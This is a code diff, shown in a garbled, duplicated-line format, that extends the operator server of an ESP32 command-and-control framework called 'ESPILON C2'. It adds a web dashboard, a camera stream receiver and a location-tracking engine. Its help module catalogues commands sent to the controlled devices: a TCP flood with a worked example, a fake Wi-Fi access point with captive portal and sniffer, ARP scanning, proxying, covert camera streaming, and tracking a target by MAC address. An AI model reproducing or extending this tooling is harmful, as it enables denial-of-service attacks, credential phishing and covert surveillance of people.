Display.device_event(device.id, "Status changed to Inactive (timeout)")
|
Display.device_event(device.id, "Status changed to Inactive (timeout)")
|
||||||
elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS:
|
elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS:
|
||||||
# If a device that was inactive sends a heartbeat, set it back to Connected
|
|
||||||
device.status = "Connected"
|
device.status = "Connected"
|
||||||
Display.device_event(device.id, "Status changed to Connected (heartbeat received)")
|
Display.device_event(device.id, "Status changed to Connected (heartbeat received)")
|
||||||
time.sleep(HEARTBEAT_CHECK_INTERVAL)
|
time.sleep(HEARTBEAT_CHECK_INTERVAL)
|
||||||
|
|
||||||
# CLI thread
|
# Function to accept client connections
|
||||||
threading.Thread(target=cli.loop, daemon=True).start()
|
def accept_loop():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
sock, addr = server.accept()
|
||||||
|
threading.Thread(
|
||||||
|
target=client_thread,
|
||||||
|
args=(sock, addr, transport, registry),
|
||||||
|
daemon=True
|
||||||
|
).start()
|
||||||
|
except OSError:
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
Display.error(f"Server error: {e}")
|
||||||
|
|
||||||
# Device status checker thread
|
# Device status checker thread
|
||||||
threading.Thread(target=device_status_checker, daemon=True).start()
|
threading.Thread(target=device_status_checker, daemon=True).start()
|
||||||
|
# Accept loop thread
|
||||||
|
threading.Thread(target=accept_loop, daemon=True).start()
|
||||||
|
|
||||||
# Accept loop
|
# ============================
|
||||||
while True:
|
# TUI or CLI mode
|
||||||
|
# ============================
|
||||||
|
if args.tui:
|
||||||
try:
|
try:
|
||||||
sock, addr = server.accept()
|
from tui.app import C3POApp
|
||||||
threading.Thread(
|
Display.enable_tui_mode()
|
||||||
target=client_thread,
|
app = C3POApp(registry=registry, cli=cli)
|
||||||
args=(sock, addr, transport, registry), # Pass registry to client_thread
|
app.run()
|
||||||
daemon=True
|
except ImportError as e:
|
||||||
).start()
|
Display.error(f"TUI not available: {e}")
|
||||||
|
Display.error("Install textual: pip install textual")
|
||||||
|
sys.exit(1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
# Classic CLI mode
|
||||||
|
try:
|
||||||
|
cli.loop()
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
Display.system_message("Shutdown requested. Exiting...")
|
Display.system_message("Shutdown requested. Exiting...")
|
||||||
break
|
|
||||||
except Exception as e:
|
|
||||||
Display.error(f"Server error: {e}")
|
|
||||||
|
|
||||||
server.close()
|
server.close()
|
||||||
|
|
||||||
|
|||||||
@ -1,11 +1,16 @@
|
|||||||
import readline
|
import readline
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
from utils.display import Display
|
from utils.display import Display
|
||||||
from cli.help import HelpManager
|
from cli.help import HelpManager
|
||||||
from core.transport import Transport
|
from core.transport import Transport
|
||||||
from proto.c2_pb2 import Command
|
from proto.c2_pb2 import Command
|
||||||
|
from streams.udp_receiver import UDPReceiver
|
||||||
|
from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN
|
||||||
|
from web.server import UnifiedWebServer
|
||||||
|
from web.mlat import MlatEngine
|
||||||
|
|
||||||
DEV_MODE = True
|
DEV_MODE = True
|
||||||
|
|
||||||
@ -17,7 +22,12 @@ class CLI:
|
|||||||
self.groups = groups
|
self.groups = groups
|
||||||
self.transport = transport
|
self.transport = transport
|
||||||
self.help_manager = HelpManager(commands, DEV_MODE)
|
self.help_manager = HelpManager(commands, DEV_MODE)
|
||||||
self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}}
|
self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}}
|
||||||
|
|
||||||
|
# Separate server instances
|
||||||
|
self.web_server: Optional[UnifiedWebServer] = None
|
||||||
|
self.udp_receiver: Optional[UDPReceiver] = None
|
||||||
|
self.mlat_engine = MlatEngine()
|
||||||
|
|
||||||
readline.parse_and_bind("tab: complete")
|
readline.parse_and_bind("tab: complete")
|
||||||
readline.set_completer(self._complete)
|
readline.set_completer(self._complete)
|
||||||
@ -31,7 +41,7 @@ class CLI:
|
|||||||
options = []
|
options = []
|
||||||
|
|
||||||
if len(parts) == 1:
|
if len(parts) == 1:
|
||||||
options = ["send", "list", "group", "help", "clear", "exit", "active_commands"]
|
options = ["send", "list", "modules", "group", "help", "clear", "exit", "active_commands", "web", "camera"]
|
||||||
|
|
||||||
elif parts[0] == "send":
|
elif parts[0] == "send":
|
||||||
if len(parts) == 2: # Completing target (device ID, 'all', 'group')
|
if len(parts) == 2: # Completing target (device ID, 'all', 'group')
|
||||||
@ -40,7 +50,14 @@ class CLI:
|
|||||||
options = list(self.groups.all_groups().keys())
|
options = list(self.groups.all_groups().keys())
|
||||||
elif (len(parts) == 3 and parts[1] != "group") or (len(parts) == 4 and parts[1] == "group"): # Completing command name
|
elif (len(parts) == 3 and parts[1] != "group") or (len(parts) == 4 and parts[1] == "group"): # Completing command name
|
||||||
options = self.commands.list()
|
options = self.commands.list()
|
||||||
# Add more logic here if commands have arguments that can be tab-completed
|
|
||||||
|
elif parts[0] == "web":
|
||||||
|
if len(parts) == 2:
|
||||||
|
options = ["start", "stop", "status"]
|
||||||
|
|
||||||
|
elif parts[0] == "camera":
|
||||||
|
if len(parts) == 2:
|
||||||
|
options = ["start", "stop", "status"]
|
||||||
|
|
||||||
elif parts[0] == "group":
|
elif parts[0] == "group":
|
||||||
if len(parts) == 2: # Completing group action
|
if len(parts) == 2: # Completing group action
|
||||||
@ -68,37 +85,59 @@ class CLI:
|
|||||||
if not cmd:
|
if not cmd:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
parts = cmd.split()
|
if cmd == "exit":
|
||||||
action = parts[0]
|
|
||||||
|
|
||||||
if action == "help":
|
|
||||||
self.help_manager.show(parts[1:])
|
|
||||||
continue
|
|
||||||
|
|
||||||
if action == "exit":
|
|
||||||
return
|
return
|
||||||
|
|
||||||
if action == "clear":
|
self.execute_command(cmd)
|
||||||
os.system("cls" if os.name == "nt" else "clear")
|
|
||||||
continue
|
|
||||||
|
|
||||||
if action == "list":
|
def execute_command(self, cmd: str):
|
||||||
self._handle_list()
|
"""Execute a command string. Used by both CLI loop and TUI."""
|
||||||
continue
|
if not cmd:
|
||||||
|
return
|
||||||
|
|
||||||
if action == "group":
|
parts = cmd.split()
|
||||||
self._handle_group(parts[1:])
|
action = parts[0]
|
||||||
continue
|
|
||||||
|
|
||||||
if action == "send":
|
if action == "help":
|
||||||
self._handle_send(parts)
|
self.help_manager.show(parts[1:])
|
||||||
continue
|
return
|
||||||
|
|
||||||
if action == "active_commands":
|
if action == "exit":
|
||||||
self._handle_active_commands()
|
return
|
||||||
continue
|
|
||||||
|
|
||||||
Display.error("Unknown command")
|
if action == "clear":
|
||||||
|
os.system("cls" if os.name == "nt" else "clear")
|
||||||
|
return
|
||||||
|
|
||||||
|
if action == "list":
|
||||||
|
self._handle_list()
|
||||||
|
return
|
||||||
|
|
||||||
|
if action == "modules":
|
||||||
|
self.help_manager.show_modules()
|
||||||
|
return
|
||||||
|
|
||||||
|
if action == "group":
|
||||||
|
self._handle_group(parts[1:])
|
||||||
|
return
|
||||||
|
|
||||||
|
if action == "send":
|
||||||
|
self._handle_send(parts)
|
||||||
|
return
|
||||||
|
|
||||||
|
if action == "active_commands":
|
||||||
|
self._handle_active_commands()
|
||||||
|
return
|
||||||
|
|
||||||
|
if action == "web":
|
||||||
|
self._handle_web(parts[1:])
|
||||||
|
return
|
||||||
|
|
||||||
|
if action == "camera":
|
||||||
|
self._handle_camera(parts[1:])
|
||||||
|
return
|
||||||
|
|
||||||
|
Display.error("Unknown command")
|
||||||
|
|
||||||
# ================= HANDLERS =================
|
# ================= HANDLERS =================
|
||||||
|
|
||||||
@ -287,3 +326,119 @@ class CLI:
|
|||||||
cmd_info["status"],
|
cmd_info["status"],
|
||||||
elapsed_time
|
elapsed_time
|
||||||
])
|
])
|
||||||
|
|
||||||
|
def _handle_web(self, parts):
|
||||||
|
"""Handle web server commands (frontend + multilateration API)."""
|
||||||
|
if not parts:
|
||||||
|
Display.error("Usage: web <start|stop|status>")
|
||||||
|
return
|
||||||
|
|
||||||
|
cmd = parts[0]
|
||||||
|
|
||||||
|
if cmd == "start":
|
||||||
|
if self.web_server and self.web_server.is_running:
|
||||||
|
Display.system_message("Web server is already running.")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.web_server = UnifiedWebServer(
|
||||||
|
device_registry=self.registry,
|
||||||
|
mlat_engine=self.mlat_engine,
|
||||||
|
multilat_token=MULTILAT_AUTH_TOKEN,
|
||||||
|
camera_receiver=self.udp_receiver
|
||||||
|
)
|
||||||
|
|
||||||
|
if self.web_server.start():
|
||||||
|
Display.system_message(f"Web server started at {self.web_server.get_url()}")
|
||||||
|
else:
|
||||||
|
Display.error("Web server failed to start")
|
||||||
|
|
||||||
|
elif cmd == "stop":
|
||||||
|
if not self.web_server or not self.web_server.is_running:
|
||||||
|
Display.system_message("Web server is not running.")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.web_server.stop()
|
||||||
|
Display.system_message("Web server stopped.")
|
||||||
|
self.web_server = None
|
||||||
|
|
||||||
|
elif cmd == "status":
|
||||||
|
Display.system_message("Web Server Status:")
|
||||||
|
if self.web_server and self.web_server.is_running:
|
||||||
|
Display.system_message(f" Status: Running")
|
||||||
|
Display.system_message(f" URL: {self.web_server.get_url()}")
|
||||||
|
else:
|
||||||
|
Display.system_message(f" Status: Stopped")
|
||||||
|
|
||||||
|
# MLAT stats
|
||||||
|
Display.system_message("MLAT Engine:")
|
||||||
|
state = self.mlat_engine.get_state()
|
||||||
|
Display.system_message(f" Mode: {state.get('coord_mode', 'gps').upper()}")
|
||||||
|
Display.system_message(f" Scanners: {state['scanners_count']}")
|
||||||
|
if state['target']:
|
||||||
|
pos = state['target']['position']
|
||||||
|
if 'lat' in pos:
|
||||||
|
Display.system_message(f" Target: ({pos['lat']:.6f}, {pos['lon']:.6f})")
|
||||||
|
else:
|
||||||
|
Display.system_message(f" Target: ({pos['x']:.2f}m, {pos['y']:.2f}m)")
|
||||||
|
else:
|
||||||
|
Display.system_message(f" Target: Not calculated")
|
||||||
|
|
||||||
|
else:
|
||||||
|
Display.error("Invalid web command. Use: start, stop, status")
|
||||||
|
|
||||||
|
def _handle_camera(self, parts):
|
||||||
|
"""Handle camera UDP receiver commands."""
|
||||||
|
if not parts:
|
||||||
|
Display.error("Usage: camera <start|stop|status>")
|
||||||
|
return
|
||||||
|
|
||||||
|
cmd = parts[0]
|
||||||
|
|
||||||
|
if cmd == "start":
|
||||||
|
if self.udp_receiver and self.udp_receiver.is_running:
|
||||||
|
Display.system_message("Camera UDP receiver is already running.")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.udp_receiver = UDPReceiver(
|
||||||
|
host=UDP_HOST,
|
||||||
|
port=UDP_PORT,
|
||||||
|
image_dir=IMAGE_DIR,
|
||||||
|
device_registry=self.registry
|
||||||
|
)
|
||||||
|
|
||||||
|
if self.udp_receiver.start():
|
||||||
|
Display.system_message(f"Camera UDP receiver started on {UDP_HOST}:{UDP_PORT}")
|
||||||
|
# Update web server if running
|
||||||
|
if self.web_server and self.web_server.is_running:
|
||||||
|
self.web_server.set_camera_receiver(self.udp_receiver)
|
||||||
|
Display.system_message("Web server updated with camera receiver")
|
||||||
|
else:
|
||||||
|
Display.error("Camera UDP receiver failed to start")
|
||||||
|
|
||||||
|
elif cmd == "stop":
|
||||||
|
if not self.udp_receiver or not self.udp_receiver.is_running:
|
||||||
|
Display.system_message("Camera UDP receiver is not running.")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.udp_receiver.stop()
|
||||||
|
Display.system_message("Camera UDP receiver stopped.")
|
||||||
|
self.udp_receiver = None
|
||||||
|
# Update web server
|
||||||
|
if self.web_server and self.web_server.is_running:
|
||||||
|
self.web_server.set_camera_receiver(None)
|
||||||
|
|
||||||
|
elif cmd == "status":
|
||||||
|
Display.system_message("Camera UDP Receiver Status:")
|
||||||
|
if self.udp_receiver and self.udp_receiver.is_running:
|
||||||
|
stats = self.udp_receiver.get_stats()
|
||||||
|
Display.system_message(f" Status: Running on {UDP_HOST}:{UDP_PORT}")
|
||||||
|
Display.system_message(f" Packets received: {stats['packets_received']}")
|
||||||
|
Display.system_message(f" Frames decoded: {stats['frames_received']}")
|
||||||
|
Display.system_message(f" Decode errors: {stats['decode_errors']}")
|
||||||
|
Display.system_message(f" Invalid tokens: {stats['invalid_tokens']}")
|
||||||
|
Display.system_message(f" Active cameras: {stats['active_cameras']}")
|
||||||
|
else:
|
||||||
|
Display.system_message(f" Status: Stopped")
|
||||||
|
|
||||||
|
else:
|
||||||
|
Display.error("Invalid camera command. Use: start, stop, status")
|
||||||
|
|||||||
@ -1,78 +1,295 @@
|
|||||||
from utils.display import Display
|
from utils.display import Display
|
||||||
|
|
||||||
|
|
||||||
|
# ESP32 Commands organized by module (matches Kconfig modules)
|
||||||
|
ESP_MODULES = {
|
||||||
|
"system": {
|
||||||
|
"description": "Core system commands",
|
||||||
|
"commands": {
|
||||||
|
"system_reboot": "Reboot the ESP32 device",
|
||||||
|
"system_mem": "Get memory info (heap, internal)",
|
||||||
|
"system_uptime": "Get device uptime",
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"network": {
|
||||||
|
"description": "Network tools",
|
||||||
|
"commands": {
|
||||||
|
"ping": "Ping a host (ping <host>)",
|
||||||
|
"arp_scan": "ARP scan the local network",
|
||||||
|
"proxy_start": "Start TCP proxy (proxy_start <ip> <port>)",
|
||||||
|
"proxy_stop": "Stop TCP proxy",
|
||||||
|
"dos_tcp": "TCP flood (dos_tcp <ip> <port> <count>)",
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"fakeap": {
|
||||||
|
"description": "Fake Access Point module",
|
||||||
|
"commands": {
|
||||||
|
"fakeap_start": "Start fake AP (fakeap_start <ssid> [open|wpa2] [pass])",
|
||||||
|
"fakeap_stop": "Stop fake AP",
|
||||||
|
"fakeap_status": "Show fake AP status",
|
||||||
|
"fakeap_clients": "List connected clients",
|
||||||
|
"fakeap_portal_start": "Start captive portal",
|
||||||
|
"fakeap_portal_stop": "Stop captive portal",
|
||||||
|
"fakeap_sniffer_on": "Enable packet sniffer",
|
||||||
|
"fakeap_sniffer_off": "Disable packet sniffer",
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"recon": {
|
||||||
|
"description": "Reconnaissance module (Camera + MLAT)",
|
||||||
|
"commands": {
|
||||||
|
"cam_start": "Start camera streaming (cam_start <ip> <port>)",
|
||||||
|
"cam_stop": "Stop camera streaming",
|
||||||
|
"mlat config": "Set position (mlat config [gps|local] <c1> <c2>)",
|
||||||
|
"mlat mode": "Set scan mode (mlat mode <ble|wifi>)",
|
||||||
|
"mlat start": "Start MLAT scanning (mlat start <mac>)",
|
||||||
|
"mlat stop": "Stop MLAT scanning",
|
||||||
|
"mlat status": "Show MLAT status",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
class HelpManager:
|
class HelpManager:
|
||||||
def __init__(self, command_registry, dev_mode: bool = False):
|
def __init__(self, command_registry, dev_mode: bool = False):
|
||||||
self.commands = command_registry
|
self.commands = command_registry
|
||||||
self.dev_mode = dev_mode
|
self.dev_mode = dev_mode
|
||||||
|
|
||||||
|
def _out(self, text: str):
|
||||||
|
"""Output helper that works in both CLI and TUI mode."""
|
||||||
|
Display.system_message(text)
|
||||||
|
|
||||||
def show(self, args: list[str]):
|
def show(self, args: list[str]):
|
||||||
if args:
|
if args:
|
||||||
self._show_command_help(args[0])
|
self._show_command_help(args[0])
|
||||||
else:
|
else:
|
||||||
self._show_global_help()
|
self._show_global_help()
|
||||||
|
|
||||||
def _show_global_help(self):
|
def show_modules(self):
|
||||||
Display.system_message("=== ESPILON C2 HELP ===")
|
"""Show ESP commands organized by module."""
|
||||||
print("\nCLI Commands:")
|
self._out("=== ESP32 COMMANDS BY MODULE ===")
|
||||||
print(" help [command] Show this help or help for a specific command")
|
self._out("")
|
||||||
print(" list List connected ESP devices")
|
|
||||||
print(" send <target> Send a command to ESP device(s)")
|
|
||||||
print(" group <action> Manage ESP device groups (add, remove, list, show)")
|
|
||||||
print(" active_commands List all currently running commands")
|
|
||||||
print(" clear Clear the terminal screen")
|
|
||||||
print(" exit Exit the C2 application")
|
|
||||||
|
|
||||||
print("\nESP Commands (available to send to devices):")
|
for module_name, module_info in ESP_MODULES.items():
|
||||||
for name in self.commands.list():
|
self._out(f"[{module_name.upper()}] - {module_info['description']}")
|
||||||
handler = self.commands.get(name)
|
for cmd_name, cmd_desc in module_info["commands"].items():
|
||||||
print(f" {name:<15} {handler.description}")
|
self._out(f" {cmd_name:<20} {cmd_desc}")
|
||||||
|
self._out("")
|
||||||
|
|
||||||
|
self._out("Use 'help <command>' for detailed help on a specific command.")
|
||||||
|
self._out("Send commands with: send <device_id|all> <command> [args...]")
|
||||||
|
|
||||||
|
def _show_global_help(self):
|
||||||
|
self._out("=== ESPILON C2 HELP ===")
|
||||||
|
self._out("")
|
||||||
|
self._out("C2 Commands:")
|
||||||
|
self._out(" help [command] Show help or help for a specific command")
|
||||||
|
self._out(" list List connected ESP devices")
|
||||||
|
self._out(" modules List ESP commands organized by module")
|
||||||
|
self._out(" send <target> <cmd> Send a command to ESP device(s)")
|
||||||
|
self._out(" group <action> Manage device groups (add, remove, list, show)")
|
||||||
|
self._out(" active_commands List currently running commands")
|
||||||
|
self._out(" clear Clear terminal screen")
|
||||||
|
self._out(" exit Exit C2")
|
||||||
|
self._out("")
|
||||||
|
self._out("Server Commands:")
|
||||||
|
self._out(" web start|stop|status Web dashboard server")
|
||||||
|
self._out(" camera start|stop|status Camera UDP receiver")
|
||||||
|
self._out("")
|
||||||
|
self._out("ESP Commands: (use 'modules' for detailed list)")
|
||||||
|
|
||||||
|
registered_cmds = self.commands.list()
|
||||||
|
if registered_cmds:
|
||||||
|
for name in registered_cmds:
|
||||||
|
handler = self.commands.get(name)
|
||||||
|
self._out(f" {name:<15} {handler.description}")
|
||||||
|
else:
|
||||||
|
self._out(" (no registered commands - use 'send' with any ESP command)")
|
||||||
|
|
||||||
if self.dev_mode:
|
if self.dev_mode:
|
||||||
Display.system_message("\nDEV MODE ENABLED:")
|
self._out("")
|
||||||
print(" You can send arbitrary text commands: send <target> <any text>")
|
self._out("DEV MODE: Send arbitrary text: send <target> <any text>")
|
||||||
|
|
||||||
def _show_command_help(self, command_name: str):
|
def _show_command_help(self, command_name: str):
|
||||||
|
# CLI Commands
|
||||||
if command_name == "list":
|
if command_name == "list":
|
||||||
Display.system_message("Help for 'list' command:")
|
self._out("Help for 'list' command:")
|
||||||
print(" Usage: list")
|
self._out(" Usage: list")
|
||||||
print(" Description: Displays a table of all currently connected ESP devices,")
|
self._out(" Description: Displays all connected ESP devices with ID, IP, status,")
|
||||||
print(" including their ID, IP address, connection duration, and last seen timestamp.")
|
self._out(" connection duration, and last seen timestamp.")
|
||||||
|
|
||||||
elif command_name == "send":
|
elif command_name == "send":
|
||||||
Display.system_message("Help for 'send' command:")
|
self._out("Help for 'send' command:")
|
||||||
print(" Usage: send <device_id|all|group <group_name>> <command_name> [args...]")
|
self._out(" Usage: send <device_id|all|group <name>> <command> [args...]")
|
||||||
print(" Description: Sends a command to one or more ESP devices.")
|
self._out(" Description: Sends a command to one or more ESP devices.")
|
||||||
print(" Examples:")
|
self._out(" Examples:")
|
||||||
print(" send 1234567890 reboot")
|
self._out(" send ESP_ABC123 reboot")
|
||||||
print(" send all get_status")
|
self._out(" send all wifi status")
|
||||||
print(" send group my_group ping 8.8.8.8")
|
self._out(" send group scanners mlat start AA:BB:CC:DD:EE:FF")
|
||||||
|
|
||||||
elif command_name == "group":
|
elif command_name == "group":
|
||||||
Display.system_message("Help for 'group' command:")
|
self._out("Help for 'group' command:")
|
||||||
print(" Usage: group <action> [args...]")
|
self._out(" Usage: group <action> [args...]")
|
||||||
print(" Actions:")
|
self._out(" Actions:")
|
||||||
print(" add <group_name> <device_id1> [device_id2...] - Add devices to a group.")
|
self._out(" add <name> <id1> [id2...] Add devices to a group")
|
||||||
print(" remove <group_name> <device_id1> [device_id2...] - Remove devices from a group.")
|
self._out(" remove <name> <id1> [id2...] Remove devices from a group")
|
||||||
print(" list - List all defined groups and their members.")
|
self._out(" list List all groups")
|
||||||
print(" show <group_name> - Show members of a specific group.")
|
self._out(" show <name> Show group members")
|
||||||
print(" Examples:")
|
|
||||||
print(" group add my_group 1234567890 ABCDEF1234")
|
elif command_name == "web":
|
||||||
print(" group remove my_group 1234567890")
|
self._out("Help for 'web' command:")
|
||||||
print(" group list")
|
self._out(" Usage: web <start|stop|status>")
|
||||||
print(" group show my_group")
|
self._out(" Description: Control the web dashboard server.")
|
||||||
elif command_name in ["clear", "exit"]:
|
self._out(" Actions:")
|
||||||
Display.system_message(f"Help for '{command_name}' command:")
|
self._out(" start Start the web server (dashboard, cameras, MLAT)")
|
||||||
print(f" Usage: {command_name}")
|
self._out(" stop Stop the web server")
|
||||||
print(f" Description: {command_name.capitalize()}s the terminal screen." if command_name == "clear" else f" Description: {command_name.capitalize()}s the C2 application.")
|
self._out(" status Show server status and MLAT engine info")
|
||||||
|
self._out(" Default URL: http://127.0.0.1:5000")
|
||||||
|
|
||||||
|
elif command_name == "camera":
|
||||||
|
self._out("Help for 'camera' command:")
|
||||||
|
self._out(" Usage: camera <start|stop|status>")
|
||||||
|
self._out(" Description: Control the camera UDP receiver.")
|
||||||
|
self._out(" Actions:")
|
||||||
|
self._out(" start Start UDP receiver for camera frames")
|
||||||
|
self._out(" stop Stop UDP receiver")
|
||||||
|
self._out(" status Show receiver stats (packets, frames, errors)")
|
||||||
|
self._out(" Default port: 12345")
|
||||||
|
|
||||||
|
elif command_name == "modules":
|
||||||
|
self._out("Help for 'modules' command:")
|
||||||
|
self._out(" Usage: modules")
|
||||||
|
self._out(" Description: List all ESP32 commands organized by module.")
|
||||||
|
self._out(" Modules: system, network, fakeap, recon")
|
||||||
|
|
||||||
|
elif command_name in ["clear", "exit", "active_commands"]:
|
||||||
|
self._out(f"Help for '{command_name}' command:")
|
||||||
|
self._out(f" Usage: {command_name}")
|
||||||
|
descs = {
|
||||||
|
"clear": "Clear the terminal screen",
|
||||||
|
"exit": "Exit the C2 application",
|
||||||
|
"active_commands": "Show all commands currently being executed"
|
||||||
|
}
|
||||||
|
self._out(f" Description: {descs.get(command_name, '')}")
|
||||||
|
|
||||||
|
# ESP Commands (by module or registered)
|
||||||
else:
|
else:
|
||||||
# Check if it's an ESP command
|
# Check in modules first
|
||||||
|
for module_name, module_info in ESP_MODULES.items():
|
||||||
|
if command_name in module_info["commands"]:
|
||||||
|
self._out(f"ESP Command '{command_name}' [{module_name.upper()}]:")
|
||||||
|
self._out(f" Description: {module_info['commands'][command_name]}")
|
||||||
|
self._show_esp_command_detail(command_name)
|
||||||
|
return
|
||||||
|
|
||||||
|
# Check registered commands
|
||||||
handler = self.commands.get(command_name)
|
handler = self.commands.get(command_name)
|
||||||
if handler:
|
if handler:
|
||||||
Display.system_message(f"Help for ESP Command '{command_name}':")
|
self._out(f"ESP Command '{command_name}':")
|
||||||
print(f" Description: {handler.description}")
|
self._out(f" Description: {handler.description}")
|
||||||
# Assuming ESP commands might have a usage string or more detailed help
|
|
||||||
if hasattr(handler, 'usage'):
|
if hasattr(handler, 'usage'):
|
||||||
print(f" Usage: {handler.usage}")
|
self._out(f" Usage: {handler.usage}")
|
||||||
if hasattr(handler, 'long_description'):
|
|
||||||
print(f" Details: {handler.long_description}")
|
|
||||||
else:
|
else:
|
||||||
Display.error(f"No help available for command '{command_name}'.")
|
Display.error(f"No help available for '{command_name}'.")
|
||||||
|
|
||||||
|
def _show_esp_command_detail(self, cmd: str):
|
||||||
|
"""Show detailed help for specific ESP commands."""
|
||||||
|
details = {
|
||||||
|
# MLAT subcommands
|
||||||
|
"mlat config": [
|
||||||
|
" Usage: send <device> mlat config [gps|local] <coord1> <coord2>",
|
||||||
|
" GPS mode: mlat config gps <lat> <lon> - degrees",
|
||||||
|
" Local mode: mlat config local <x> <y> - meters",
|
||||||
|
" Examples:",
|
||||||
|
" send ESP1 mlat config gps 48.8566 2.3522",
|
||||||
|
" send ESP1 mlat config local 10.0 5.5",
|
||||||
|
],
|
||||||
|
"mlat mode": [
|
||||||
|
" Usage: send <device> mlat mode <ble|wifi>",
|
||||||
|
" Example: send ESP1 mlat mode ble",
|
||||||
|
],
|
||||||
|
"mlat start": [
|
||||||
|
" Usage: send <device> mlat start <mac>",
|
||||||
|
" Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF",
|
||||||
|
],
|
||||||
|
"mlat stop": [
|
||||||
|
" Usage: send <device> mlat stop",
|
||||||
|
],
|
||||||
|
"mlat status": [
|
||||||
|
" Usage: send <device> mlat status",
|
||||||
|
],
|
||||||
|
"cam_start": [
|
||||||
|
" Usage: send <device> cam_start <ip> <port>",
|
||||||
|
" Description: Start camera streaming to C2 UDP receiver",
|
||||||
|
" Example: send ESP_CAM cam_start 192.168.1.100 12345",
|
||||||
|
],
|
||||||
|
"cam_stop": [
|
||||||
|
" Usage: send <device> cam_stop",
|
||||||
|
" Description: Stop camera streaming",
|
||||||
|
],
|
||||||
|
"fakeap_start": [
|
||||||
|
" Usage: send <device> fakeap_start <ssid> [open|wpa2] [password]",
|
||||||
|
" Examples:",
|
||||||
|
" send ESP1 fakeap_start FreeWiFi",
|
||||||
|
" send ESP1 fakeap_start SecureNet wpa2 mypassword",
|
||||||
|
],
|
||||||
|
"fakeap_stop": [
|
||||||
|
" Usage: send <device> fakeap_stop",
|
||||||
|
],
|
||||||
|
"fakeap_status": [
|
||||||
|
" Usage: send <device> fakeap_status",
|
||||||
|
" Shows: AP running, portal status, sniffer status, client count",
|
||||||
|
],
|
||||||
|
"fakeap_clients": [
|
||||||
|
" Usage: send <device> fakeap_clients",
|
||||||
|
" Lists all connected clients to the fake AP",
|
||||||
|
],
|
||||||
|
"fakeap_portal_start": [
|
||||||
|
" Usage: send <device> fakeap_portal_start",
|
||||||
|
" Description: Enable captive portal (requires fakeap running)",
|
||||||
|
],
|
||||||
|
"fakeap_portal_stop": [
|
||||||
|
" Usage: send <device> fakeap_portal_stop",
|
||||||
|
],
|
||||||
|
"fakeap_sniffer_on": [
|
||||||
|
" Usage: send <device> fakeap_sniffer_on",
|
||||||
|
" Description: Enable packet sniffing",
|
||||||
|
],
|
||||||
|
"fakeap_sniffer_off": [
|
||||||
|
" Usage: send <device> fakeap_sniffer_off",
|
||||||
|
],
|
||||||
|
"ping": [
|
||||||
|
" Usage: send <device> ping <host>",
|
||||||
|
" Example: send ESP1 ping 8.8.8.8",
|
||||||
|
],
|
||||||
|
"arp_scan": [
|
||||||
|
" Usage: send <device> arp_scan",
|
||||||
|
" Description: Scan local network for hosts",
|
||||||
|
],
|
||||||
|
"proxy_start": [
|
||||||
|
" Usage: send <device> proxy_start <ip> <port>",
|
||||||
|
" Example: send ESP1 proxy_start 192.168.1.100 8080",
|
||||||
|
],
|
||||||
|
"proxy_stop": [
|
||||||
|
" Usage: send <device> proxy_stop",
|
||||||
|
],
|
||||||
|
"dos_tcp": [
|
||||||
|
" Usage: send <device> dos_tcp <ip> <port> <count>",
|
||||||
|
" Example: send ESP1 dos_tcp 192.168.1.100 80 1000",
|
||||||
|
],
|
||||||
|
"system_reboot": [
|
||||||
|
" Usage: send <device> system_reboot",
|
||||||
|
" Description: Reboot the ESP32 device",
|
||||||
|
],
|
||||||
|
"system_mem": [
|
||||||
|
" Usage: send <device> system_mem",
|
||||||
|
" Shows: heap_free, heap_min, internal_free",
|
||||||
|
],
|
||||||
|
"system_uptime": [
|
||||||
|
" Usage: send <device> system_uptime",
|
||||||
|
" Shows: uptime in days/hours/minutes/seconds",
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
if cmd in details:
|
||||||
|
for line in details[cmd]:
|
||||||
|
self._out(line)
|
||||||
|
|||||||
@ -14,7 +14,11 @@ class Device:
|
|||||||
|
|
||||||
connected_at: float = field(default_factory=time.time)
|
connected_at: float = field(default_factory=time.time)
|
||||||
last_seen: float = field(default_factory=time.time)
|
last_seen: float = field(default_factory=time.time)
|
||||||
status: str = "Connected" # New status field
|
status: str = "Connected"
|
||||||
|
|
||||||
|
# System info (populated by auto system_info query)
|
||||||
|
chip: str = ""
|
||||||
|
modules: str = ""
|
||||||
|
|
||||||
def touch(self):
|
def touch(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@ -1,7 +1,7 @@
|
|||||||
from core.crypto import CryptoContext
|
from core.crypto import CryptoContext
|
||||||
from core.device import Device
|
from core.device import Device
|
||||||
from core.registry import DeviceRegistry
|
from core.registry import DeviceRegistry
|
||||||
from logging.manager import LogManager
|
from log.manager import LogManager
|
||||||
from utils.display import Display
|
from utils.display import Display
|
||||||
|
|
||||||
from proto.c2_pb2 import Command, AgentMessage, AgentMsgType
|
from proto.c2_pb2 import Command, AgentMessage, AgentMsgType
|
||||||
@ -64,6 +64,7 @@ class Transport:
|
|||||||
# ==================================================
|
# ==================================================
|
||||||
def _dispatch(self, sock, addr, msg: AgentMessage):
|
def _dispatch(self, sock, addr, msg: AgentMessage):
|
||||||
device = self.registry.get(msg.device_id)
|
device = self.registry.get(msg.device_id)
|
||||||
|
is_new_device = False
|
||||||
|
|
||||||
if not device:
|
